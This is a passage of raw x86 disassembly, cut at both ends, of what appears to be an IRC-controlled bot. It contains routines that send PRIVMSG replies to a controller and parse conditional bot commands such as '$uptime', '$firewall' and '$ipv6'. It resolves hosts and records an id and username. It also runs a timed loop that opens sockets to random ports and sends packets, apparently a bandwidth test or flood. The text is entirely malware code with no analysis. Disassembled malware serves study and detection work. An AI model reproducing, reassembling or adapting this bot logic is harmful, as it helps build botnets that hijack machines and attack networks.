sub_40A9CF+158Cj push [ebp+var_5B78] call dword_41DF5C ; freeaddrinfo jmp short loc_40C0D4 ; --------------------------------------------------------------------------- loc_40C0BA: ; CODE XREF: sub_40A9CF+1573j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C0D4: ; CODE XREF: sub_40A9CF+16E9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C0D9: ; CODE XREF: sub_40A9CF+1541j mov eax, [ebp+var_1A8] sub eax, dword_4198C4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C1D4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40C105 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DF00 loc_40C105: ; CODE XREF: sub_40A9CF+172Aj lea eax, [ebp+var_5F84] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call dword_41DF54 ; getaddrinfo test eax, eax jnz loc_40C1B5 push 4 push 0 push 0 push 401h lea eax, [ebp+var_6388] push eax mov eax, [ebp+var_5F84] push dword ptr [eax+10h] mov eax, [ebp+var_5F84] push dword ptr [eax+18h] call dword_41DF58 ; getnameinfo test eax, eax jnz short loc_40C1A9 push [ebp+var_5F84] call dword_41DF5C ; freeaddrinfo mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C179 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6404], eax jmp short loc_40C183 ; --------------------------------------------------------------------------- loc_40C179: ; CODE XREF: sub_40A9CF+179Aj mov [ebp+var_6404], offset dword_419968 loc_40C183: ; CODE XREF: sub_40A9CF+17A8j lea eax, [ebp+var_6388] push eax push [ebp+var_6404] push offset dword_4198A8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C1A9: ; CODE XREF: sub_40A9CF+1781j push [ebp+var_5F84] call dword_41DF5C ; freeaddrinfo loc_40C1B5: ; CODE XREF: sub_40A9CF+174Fj mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C1D4: ; CODE XREF: sub_40A9CF+171Dj mov eax, [ebp+var_1A8] sub eax, dword_419898 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C37A mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C207 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx cmp eax, 0Ah ja short loc_40C20C loc_40C207: ; CODE XREF: sub_40A9CF+1825j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C20C: ; CODE XREF: sub_40A9CF+1836j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx mov [ebp+var_638C], eax push 4 push offset a2002 ; "2002" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416DEA ; memcmp add esp, 0Ch test eax, eax jnz loc_40C35B mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-9] mov [ebp+var_6398], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-8] mov [ebp+var_6397], al and [ebp+var_6396], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-7] mov [ebp+var_6395], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-6] mov [ebp+var_6394], al and [ebp+var_6393], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-4] mov [ebp+var_6392], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-3] mov [ebp+var_6391], al and [ebp+var_6390], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-2] mov [ebp+var_638F], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-1] mov [ebp+var_638E], al and [ebp+var_638D], 0 lea eax, [ebp+var_638F] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6392] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6395] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6398] push eax call sub_40A8AD pop ecx push eax mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419860 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 1Ch jmp short loc_40C375 ; --------------------------------------------------------------------------- loc_40C35B: ; CODE XREF: sub_40A9CF+1866j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419844 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C375: ; CODE XREF: sub_40A9CF+198Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C37A: ; CODE XREF: sub_40A9CF+1818j mov eax, [ebp+var_1A8] sub eax, dword_419838 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C4B0 call sub_416B64 ; clock mov [ebp+var_639C], eax and [ebp+var_63A4], 0 and [ebp+var_63A0], 0 push 10h push 0 lea eax, [ebp+var_63B4] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_63B4], 2 loc_40C3C8: ; CODE XREF: sub_40A9CF+1A95j call sub_416B64 ; clock sub eax, [ebp+var_639C] cmp eax, 3E8h jnb loc_40C469 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call dword_417238 ; htons mov [ebp+var_63B2], ax push 4 push 0 call sub_4040E8 pop ecx pop ecx mov [ebp+var_63B0], eax push 0 push 2 push 2 call dword_417218 ; socket mov [ebp+var_63B8], eax push 10h lea eax, [ebp+var_63B4] push eax push [ebp+var_63B8] call dword_4171F4 ; connect push 0 push 1 lea eax, [ebp+var_63A0] push eax push [ebp+var_63B8] call dword_41720C ; send push [ebp+var_63B8] call dword_417230 ; closesocket mov eax, [ebp+var_63A4] add eax, 2Bh mov [ebp+var_63A4], eax jmp loc_40C3C8 ; --------------------------------------------------------------------------- loc_40C469: ; CODE XREF: sub_40A9CF+1A09j cmp [ebp+var_63A4], 400h jbe short loc_40C483 mov eax, [ebp+var_63A4] mov [ebp+var_6408], eax jmp short loc_40C48D ; --------------------------------------------------------------------------- loc_40C483: ; CODE XREF: sub_40A9CF+1AA4j mov [ebp+var_6408], 400h loc_40C48D: ; CODE XREF: sub_40A9CF+1AB2j mov eax, [ebp+var_6408] shr eax, 0Ah push eax push offset dword_419820 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4B0: ; CODE XREF: sub_40A9CF+19BEj mov eax, [ebp+var_1A8] sub eax, dword_419818 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C4DA mov eax, [ebp+var_1A8] sub eax, dword_41980C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C4FF loc_40C4DA: ; CODE XREF: sub_40A9CF+1AF4j push offset dword_41DD08 push 3B7h push 0 push offset dword_4197E8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4FF: ; CODE XREF: sub_40A9CF+1B09j mov eax, [ebp+var_1A8] sub eax, dword_4197DC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C53A mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4142BF add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C53A: ; CODE XREF: sub_40A9CF+1B43j mov eax, [ebp+var_1A8] sub eax, dword_4197D4 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C564 mov eax, [ebp+var_1A8] sub eax, dword_4197C8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C576 loc_40C564: ; CODE XREF: sub_40A9CF+1B7Ej lea eax, [ebp+var_1A4] push eax call sub_4087C4 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C576: ; CODE XREF: sub_40A9CF+1B93j mov eax, [ebp+var_1A8] sub eax, dword_4197C0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C5A0 mov eax, [ebp+var_1A8] sub eax, dword_4197B4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C5B2 loc_40C5A0: ; CODE XREF: sub_40A9CF+1BBAj lea eax, [ebp+var_1A4] push eax call sub_408E4A pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C5B2: ; CODE XREF: sub_40A9CF+1BCFj mov eax, [ebp+var_1A8] sub eax, dword_4197A4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C614 push 1 push offset a9252 ; "9252" call sub_4046BC pop ecx pop ecx mov [ebp+var_63BC], eax push [ebp+var_63BC] push offset dword_418B5C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch cmp [ebp+var_63BC], 0 jnz short loc_40C603 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C603: ; CODE XREF: sub_40A9CF+1C2Dj push [ebp+var_63BC] call sub_404CBB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C614: ; CODE XREF: sub_40A9CF+1BF6j mov eax, [ebp+var_1A8] sub eax, dword_419790 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C63B lea eax, [ebp+var_1A4] push eax call sub_4091E2 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C63B: ; CODE XREF: sub_40A9CF+1C58j mov eax, [ebp+var_1A8] sub eax, dword_419788 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C669 mov eax, [ebp+var_1A8] sub eax, dword_41977C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C896 loc_40C669: ; CODE XREF: sub_40A9CF+1C7Fj mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C686 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C ; atoi pop ecx mov [ebp+var_640C], eax jmp short loc_40C68D ; --------------------------------------------------------------------------- loc_40C686: ; CODE XREF: sub_40A9CF+1CA1j and [ebp+var_640C], 0 loc_40C68D: ; CODE XREF: sub_40A9CF+1CB5j mov eax, [ebp+var_640C] mov [ebp+var_63C8], eax call sub_4092A4 mov [ebp+var_63E0], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63D8], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63C4], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D4], eax mov eax, [ebp+var_63D8] cmp eax, [ebp+var_63C8] jnb short loc_40C715 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C715: ; CODE XREF: sub_40A9CF+1D3Fj call sub_409318 mov [ebp+var_63C0], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63CC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63DC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D0], eax cmp [ebp+var_63D0], 1 jnz short loc_40C793 mov [ebp+var_6410], offset byte_41DF00 jmp short loc_40C79D ; --------------------------------------------------------------------------- loc_40C793: ; CODE XREF: sub_40A9CF+1DB6j mov [ebp+var_6410], offset dword_4191F4 loc_40C79D: ; CODE XREF: sub_40A9CF+1DC2j cmp [ebp+var_63DC], 1 jnz short loc_40C7B2 mov [ebp+var_6414], offset byte_41DF00 jmp short loc_40C7BC ; --------------------------------------------------------------------------- loc_40C7B2: ; CODE XREF: sub_40A9CF+1DD5j mov [ebp+var_6414], offset dword_4191F4 loc_40C7BC: ; CODE XREF: sub_40A9CF+1DE1j cmp [ebp+var_63CC], 1 jnz short loc_40C7D1 mov [ebp+var_6418], offset byte_41DF00 jmp short loc_40C7DB ; --------------------------------------------------------------------------- loc_40C7D1: ; CODE XREF: sub_40A9CF+1DF4j mov [ebp+var_6418], offset dword_4191F4 loc_40C7DB: ; CODE XREF: sub_40A9CF+1E00j cmp [ebp+var_63D4], 1 jnz short loc_40C7F0 mov [ebp+var_641C], offset byte_41DF00 jmp short loc_40C7FA ; --------------------------------------------------------------------------- loc_40C7F0: ; CODE XREF: sub_40A9CF+1E13j mov [ebp+var_641C], offset dword_4191F4 loc_40C7FA: ; CODE XREF: sub_40A9CF+1E1Fj cmp [ebp+var_63C4], 1 jnz short loc_40C80F mov [ebp+var_6420], offset byte_41DF00 jmp short loc_40C819 ; --------------------------------------------------------------------------- loc_40C80F: ; CODE XREF: sub_40A9CF+1E32j mov [ebp+var_6420], offset dword_4191F4 loc_40C819: ; CODE XREF: sub_40A9CF+1E3Ej cmp [ebp+var_63D8], 1 jnz short loc_40C82E mov [ebp+var_6424], offset byte_41DF00 jmp short loc_40C838 ; --------------------------------------------------------------------------- loc_40C82E: ; CODE XREF: sub_40A9CF+1E51j mov [ebp+var_6424], offset dword_4191F4 loc_40C838: ; CODE XREF: sub_40A9CF+1E5Dj push [ebp+var_6410] push [ebp+var_63D0] push [ebp+var_6414] push [ebp+var_63DC] push [ebp+var_6418] push [ebp+var_63CC] push [ebp+var_641C] push [ebp+var_63D4] push [ebp+var_6420] push [ebp+var_63C4] push [ebp+var_6424] push [ebp+var_63D8] push offset dword_419708 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 38h jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C896: ; CODE XREF: sub_40A9CF+1C94j mov eax, [ebp+var_1A8] sub eax, dword_419700 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C912 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C8BD mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jnz short loc_40C8BF loc_40C8BD: ; CODE XREF: sub_40A9CF+1EE3j jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C8BF: ; CODE XREF: sub_40A9CF+1EECj push 2 push offset aId ; "id" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40C8EA mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41EF98 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40C8EA: ; CODE XREF: sub_40A9CF+1F07j push offset aUsername ; "username" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40C912 mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41F118 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40C912: ; CODE XREF: sub_40A9CF+85j ; sub_40A9CF+D8j ... pop edi pop esi leave retn sub_40A9CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C916 proc near ; CODE XREF: sub_40CA29+47Fp arg_0 = dword ptr 8 push ebp mov ebp, esp loc_40C919: ; CODE XREF: sub_40C916+1Fj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_40C937 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C937 mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax jmp short loc_40C919 ; --------------------------------------------------------------------------- loc_40C937: ; CODE XREF: sub_40C916+Cj ; sub_40C916+16j mov eax, [ebp+arg_0] pop ebp retn sub_40C916 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C93C proc near ; DATA XREF: sub_40CEB0+66o var_534 = dword ptr -534h var_530 = byte ptr -530h var_38F = byte ptr -38Fh var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 534h push 327h push [ebp+arg_0] lea eax, [ebp+var_534] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_208] push eax push offset asc_419F48 ; ";" lea eax, [ebp+var_530] push eax call sub_40813C add esp, 0Ch mov [ebp+var_204], eax and [ebp+var_20C], 0 loc_40C98D: ; CODE XREF: sub_40C93C+D6j cmp [ebp+var_204], 0 jnz short loc_40C998 jmp short loc_40CA17 ; --------------------------------------------------------------------------- loc_40C998: ; CODE XREF: sub_40C93C+58j ; sub_40C93C+79j mov eax, [ebp+var_204] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40C9A8 jmp short loc_40C9B7 ; --------------------------------------------------------------------------- loc_40C9A8: ; CODE XREF: sub_40C93C+68j mov eax, [ebp+var_204] inc eax mov [ebp+var_204], eax jmp short loc_40C998 ; --------------------------------------------------------------------------- loc_40C9B7: ; CODE XREF: sub_40C93C+6Aj push [ebp+var_204] lea eax, [ebp+var_38F] push eax push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp+var_200] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_200] push eax call sub_40E618 pop ecx lea eax, [ebp+var_208] push eax push offset asc_419F48 ; ";" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_20C], eax mov eax, [ebp+var_20C] mov [ebp+var_204], eax jmp loc_40C98D ; --------------------------------------------------------------------------- loc_40CA17: ; CODE XREF: sub_40C93C+5Aj push [ebp+var_534] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40C93C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA29 proc near ; CODE XREF: sub_40CEB0+8p var_1EC = dword ptr -1ECh var_1E8 = byte ptr -1E8h var_1C8 = byte ptr -1C8h var_1A8 = dword ptr -1A8h var_1A4 = dword ptr -1A4h var_1A0 = byte ptr -1A0h var_190 = byte ptr -190h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1ECh cmp [ebp+arg_0], 0 jz short loc_40CA43 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 28h jz short loc_40CA4A loc_40CA43: ; CODE XREF: sub_40CA29+Dj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA4A: ; CODE XREF: sub_40CA29+18j mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax push offset asc_419FB0 ; ")" push [ebp+arg_0] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_40CA70 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA70: ; CODE XREF: sub_40CA29+3Ej mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax cmp eax, 180h jbe short loc_40CA8A mov [ebp+var_1EC], 180h jmp short loc_40CA97 ; --------------------------------------------------------------------------- loc_40CA8A: ; CODE XREF: sub_40CA29+53j mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax mov [ebp+var_1EC], eax loc_40CA97: ; CODE XREF: sub_40CA29+5Fj push [ebp+var_1EC] push [ebp+arg_0] lea eax, [ebp+var_190] push eax call sub_407A56 add esp, 0Ch push 1 push 1 lea eax, [ebp+var_190] push eax call sub_407C2C add esp, 0Ch lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" lea eax, [ebp+var_190] push eax call sub_40813C add esp, 0Ch mov [ebp+var_4], eax and [ebp+var_C], 0 loc_40CAE1: ; CODE XREF: sub_40CA29+475j cmp [ebp+var_4], 0 jnz short loc_40CAEC jmp loc_40CEA3 ; --------------------------------------------------------------------------- loc_40CAEC: ; CODE XREF: sub_40CA29+BCj ; sub_40CA29+D7j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40CAF9 jmp short loc_40CB02 ; --------------------------------------------------------------------------- loc_40CAF9: ; CODE XREF: sub_40CA29+CCj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_40CAEC ; --------------------------------------------------------------------------- loc_40CB02: ; CODE XREF: sub_40CA29+CEj lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_1A0] push eax lea eax, [ebp+var_1C8] push eax push offset a32s16s32s ; "%32s %16s %32s" push [ebp+var_4] call sub_416BA2 ; sscanf add esp, 14h cmp eax, 3 jz short loc_40CB33 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CB33: ; CODE XREF: sub_40CA29+101j lea eax, [ebp+var_1C8] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1A4], eax lea eax, [ebp+var_1E8] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1A8], eax cmp [ebp+var_1A4], 0 jnz loc_40CC6E push offset dword_418F50 lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz loc_40CC6E push offset aUptime ; "$uptime" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBB1 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A4], eax jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBB1: ; CODE XREF: sub_40CA29+16Dj push offset aVersion ; "$version" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBD7 mov [ebp+var_1A4], 3B7h jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBD7: ; CODE XREF: sub_40CA29+19Dj push offset aFree ; "$free" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBFB call sub_408E8E mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBFB: ; CODE XREF: sub_40CA29+1C3j push offset aLatency ; "$latency" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC1F call sub_408887 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC1F: ; CODE XREF: sub_40CA29+1E7j push offset aFirewall ; "$firewall" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC43 call sub_404279 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC43: ; CODE XREF: sub_40CA29+20Bj push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC67 call sub_4043E9 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC67: ; CODE XREF: sub_40CA29+22Fj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CC6E: ; CODE XREF: sub_40CA29+137j ; sub_40CA29+152j ... cmp [ebp+var_1A8], 0 jnz loc_40CD83 push offset dword_418F50 lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz loc_40CD83 push offset aUptime ; "$uptime" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CCC6 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A8], eax jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCC6: ; CODE XREF: sub_40CA29+282j push offset aVersion ; "$version" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CCEC mov [ebp+var_1A8], 3B7h jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCEC: ; CODE XREF: sub_40CA29+2B2j push offset aFree ; "$free" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD10 call sub_408E8E mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD10: ; CODE XREF: sub_40CA29+2D8j push offset aLatency ; "$latency" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD34 call sub_408887 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD34: ; CODE XREF: sub_40CA29+2FCj push offset aFirewall ; "$firewall" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD58 call sub_404279 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD58: ; CODE XREF: sub_40CA29+320j push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD7C call sub_4043E9 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD7C: ; CODE XREF: sub_40CA29+344j xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CD83: ; CODE XREF: sub_40CA29+24Cj ; sub_40CA29+267j ... push offset asc_419F5C ; "==" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CDAF mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jz short loc_40CDAF xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDAF: ; CODE XREF: sub_40CA29+36Fj ; sub_40CA29+37Dj push offset asc_419F58 ; "!=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CDDB mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnz short loc_40CDDB xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDDB: ; CODE XREF: sub_40CA29+39Bj ; sub_40CA29+3A9j push offset asc_419F54 ; ">" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE07 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] ja short loc_40CE07 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE07: ; CODE XREF: sub_40CA29+3C7j ; sub_40CA29+3D5j push offset asc_419F50 ; ">=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE30 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnb short loc_40CE30 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE30: ; CODE XREF: sub_40CA29+3F3j ; sub_40CA29+401j push offset dword_419968 lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE59 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jb short loc_40CE59 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE59: ; CODE XREF: sub_40CA29+41Cj ; sub_40CA29+42Aj push offset asc_419F4C ; "<=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE82 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jbe short loc_40CE82 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE82: ; CODE XREF: sub_40CA29+445j ; sub_40CA29+453j lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax mov eax, [ebp+var_C] mov [ebp+var_4], eax jmp loc_40CAE1 ; --------------------------------------------------------------------------- loc_40CEA3: ; CODE XREF: sub_40CA29+BEj mov eax, [ebp+var_10] inc eax push eax call sub_40C916 pop ecx locret_40CEAE: ; CODE XREF: sub_40CA29+1Cj ; sub_40CA29+42j ... leave retn sub_40CA29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEB0 proc near ; CODE XREF: sub_40A9CF+14CEp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] call sub_40CA29 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40CEC9 jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEC9: ; CODE XREF: sub_40CEB0+15j push 327h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40CEDF jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEDF: ; CODE XREF: sub_40CEB0+2Bj push 180h push [ebp+var_8] mov eax, [ebp+var_4] add eax, 4 push eax call 